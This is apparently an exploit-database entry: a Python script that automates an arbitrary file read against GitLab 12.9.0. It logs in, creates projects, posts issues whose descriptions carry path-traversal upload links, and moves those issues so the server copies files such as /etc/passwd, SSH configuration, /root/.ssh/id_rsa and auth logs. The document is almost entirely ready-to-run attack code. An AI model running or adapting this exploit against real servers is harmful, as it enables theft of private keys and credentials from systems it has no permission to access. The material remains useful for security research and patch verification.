GitLab 12.9.0 Arbitrary File Read

`# Exploit Title: GitLab 12.9.0 - Arbitrary File Read   
# Google Dork: -  
# Date: 2020-05-03  
# Exploit Author: KouroshRZ  
# Vendor Homepage: https://about.gitlab.com  
# Software Link: https://about.gitlab.com/install  
# Version: tested on gitlab version 12.9.0  
# Tested on: Ubuntu 18.04 (but it's OS independent)  
# CVE : -  
  
#####################################################################################################  
# #   
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz #  
# All rights reserved. #  
# #  
# Redistribution and use in source and compiled forms, with or without modification, are permitted #  
# provided that the following conditions are met: #  
# #  
# * Redistributions of source code must retain the above copyright notice, this list of #   
# conditions and the following disclaimer. #  
# #  
# * Redistributions in compiled form must reproduce the above copyright notice, this list of #  
# conditions and the following disclaimer in the documentation and/or other materials provided #  
# with the distribution. #  
# #  
# * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to #  
# endorse or promote products derived from this software without specific prior written permission. #  
# #  
#####################################################################################################   
  
# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server  
# Google Dork: -  
# Date: 05/03/2020  
# Exploit Author: KouroshRZ  
# Vendor Homepage: https://about.gitlab.com  
# Software Link: https://about.gitlab.com/install  
# Version: tested on gitlab version 12.9.0  
# Tested on: Ubuntu 18.04 (but it's OS independent)  
# CVE : -  
  
import requests  
import json  
from time import sleep  
  
# For debugging  
proxies = {  
'http' : '127.0.0.1:8080',  
'https' : '127.0.0.1:8080'  
}  
  
session = requests.Session()  
  
# config  
host = 'http[s]://<gitlab-address>'  
username = '<you-gitlab-username>'  
password = '<your-gitlab-password>'  
lastIssueUrl = ""  
  
def loginToGitLab(username, password):  
  
initLoginUrl = '{}/users/sign_in'.format(host)  
  
initLoginResult = session.get(initLoginUrl).text  
  
temp_index_csrf_param_start = initLoginResult.find("csrf-param")  
temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initLoginResult.find("csrf-token")  
temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)  
  
submitLoginData = {  
'utf8=' : '✓',  
csrf_param : csrf_token,  
'username' : username,  
'password' : password,  
}  
  
submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)  
  
if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:  
print("[+] You'e logged in ...")  
  
  
def createNewProject(projectName):  
  
  
initProjectUrl = '{}/projects/new'.format(host)  
  
initProjectResult = session.get(initProjectUrl).text  
  
temp_index_csrf_param_start = initProjectResult.find("csrf-param")  
temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initProjectResult.find("csrf-token")  
temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))  
tmp_index_2 = initProjectResult.find('value', tmp_index_1)  
tmp_index_3 = initProjectResult.find('type', tmp_index_2)  
namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]  
  
createProjectUrl = '{}/projects'.format(host)  
createProjectData = {  
'utf8=' : '✓',  
csrf_param : csrf_token,  
'project[ci_cd_only]' : 'false',  
'project[name]' : projectName,  
'project[namespace_id]' : namespace,  
'project[path]' : projectName,  
'project[description]' : '',  
'project[visibility_level]' : '0'  
}  
  
createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)  
  
if createProjectResult.status_code == 302:  
  
print("[+] New Project {} created ...".format(projectName))  
  
def createNewIssue(projectName, issueTitle, file):  
  
global lastIssueUrl  
  
initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)  
  
initIssueResult = session.get(initIssueUrl).text  
  
temp_index_csrf_param_start = initIssueResult.find("csrf-param")  
temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initIssueResult.find("csrf-token")  
temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)  
  
createIssueData = {  
'utf8=' : '✓',  
csrf_param : csrf_token,  
'issue[title]' : issueTitle,  
'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),  
'issue[confidential]' : '0',  
'issue[assignee_ids][]' : '0',  
'issue[label_ids][]' : '',  
'issue[due_date]' : '',  
'issue[lock_version]' : '0'  
}  
  
createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)  
  
if createIssueResult.status_code == 302:  
  
print("[+] New issue for {} created ...".format(projectName))  
tmp_index_1 = createIssueResult.text.find("href")  
tmp_index_2 = createIssueResult.text.find("redirected")  
lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]  
print("[+] url of craeted issue : {}\n".format(lastIssueUrl))  
  
def moveLastIssue(source, destination, file):  
  
# Get destination project ID  
  
getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)  
getProjectIdResult = session.get(getProjectIdUrl).text  
  
tmpIndex = getProjectIdResult.find('/search?project_id')  
projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]  
#print("Project : {} ID ----> {}\n".format(destination, projectId))  
  
# Get CSRF token for moving issue  
# initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)  
initIssueMoveUrl = lastIssueUrl  
initIssueMoveResult = session.get(initIssueMoveUrl).text  
  
temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")  
temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
# Move issue with associated CSRF token  
# moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)  
moveIssueUrl = lastIssueUrl + "/move"  
moveIssueData = json.dumps({  
"move_to_project_id" : int(projectId)  
})  
headers = {  
'X-CSRF-Token' : csrf_token,  
'X-Requested-With' : 'XMLHttpRequest',  
'Content-Type' : 'application/json;charset=utf-8'  
}  
moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)  
  
if moveIssueResult.status_code == 500:  
print("[!] Permission denied for {}".format(file))  
else:  
description = json.loads(moveIssueResult.text)["description"]  
tmp_index = description.find("/")  
fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])  
  
print("[+] url of file {}: \n".format(f, fileUrl))  
fileContentResult = session.get(fileUrl)  
  
if fileContentResult.status_code == 404:  
print("[-] No such file or directory : {}".format(f))  
else:  
print("[+] Content of file {} read from server ...\n\n".format(f))  
print(fileContentResult.text)  
  
print("\n****************************************************************************************\n")  
  
  
  
if __name__ == "__main__":  
  
loginToGitLab(username, password)  
  
createNewProject("project_01")  
createNewProject("project_02")  
  
# Put the files you want to read from server here  
# The files on server should have **4 or more permission (world readable files)  
files = {  
'/etc/passwd',  
'/etc/ssh/sshd_config',  
'/etc/ssh/ssh_config',  
'/root/.ssh/id_rsa',  
'/var/log/auth.log'  
# ...  
# ...  
# ...  
}   
  
  
for f in files:  
createNewIssue("project_01", "issue01_{}".format(f), f)  
moveLastIssue("project_01", "project_02",f)  
sleep(3)  
`